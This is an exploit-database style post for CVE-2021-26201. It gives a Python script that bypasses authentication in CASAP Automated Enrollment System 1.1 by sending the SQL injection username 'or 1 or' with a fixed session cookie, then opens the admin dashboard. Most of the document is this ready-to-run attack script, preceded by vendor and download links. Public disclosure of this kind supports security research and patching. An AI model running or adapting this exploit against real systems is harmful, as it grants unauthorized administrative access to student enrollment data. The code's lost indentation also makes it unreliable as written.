CASAP Automated Enrollment System 1.1 SQL Injection

`# Exploit Title: CASAP Automated Enrollment System 1.1 -  
Authentication Bypass cookie session  
# Exploit Author: @nu11secur1ty  
# Date: 03.02.2021  
# Vendor Homepage:  
https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html  
# Software Link:  
https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip  
# Version: 1.1  
# Tested On: Ubuntu + XAMPP 7.3.2  
# Description: CASAP Automated Enrollment System 1.0 - Authentication  
Bypass SQLi cookie session  
# Exploit Link:  
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26201  
# More: https://www.nu11secur1ty.com/2021/03/cve-2021-26201.html  
  
[Exploit]  
  
  
import time  
import sys  
import requests  
import webbrowser  
  
# Creator of the idea: Himanshu Shukla  
print("Author: @nu11secur1ty")  
  
def authbypass(url):  
  
#Authentication Bypass  
s = requests.Session()  
#Set Cookie fot testing  
#PHPSESSID=3g6ghfl8i7qh190m4pq92fv262 #in my case from XSS attack  
cookies = {'PHPSESSID': 'inucrnag25j9h5hb826kovir0p'}  
  
print ("[*]Attempting Authentication Bypass cookie session...")  
time.sleep(1)  
  
values = {"username":"'or 1 or'","password":""}  
r=s.post(url+'login.php', data=values, cookies=cookies)  
p=s.get(url+'dashboard.php', cookies=cookies)  
  
#Check if Authentication was bypassed or not.  
logged_in = True if ("true_admin" in r.text) else False  
l=logged_in  
if l:  
print("[+]Authentication Bypass Successful...!")  
else:  
print("[-]Failed cookie Authentication exploit!")  
print("[-]Check Your URL")  
  
if __name__ == "__main__":  
  
if len(sys.argv)!=2:  
print("You Haven't Provided any URL!")  
print("Usage : python3 exploit.py <URL>")  
print("Example : python3 exploit.py http://IP_or_domain/final/")  
exit()  
try:  
authbypass(sys.argv[1])  
webbrowser.open('http://10.10.10.100/final/dashboard.php')  
except:  
  
print("[-]Invalid URL!")  
exit()  
  
# BR @nu11secur1ty  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://www.exploit-db.com/  
https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
`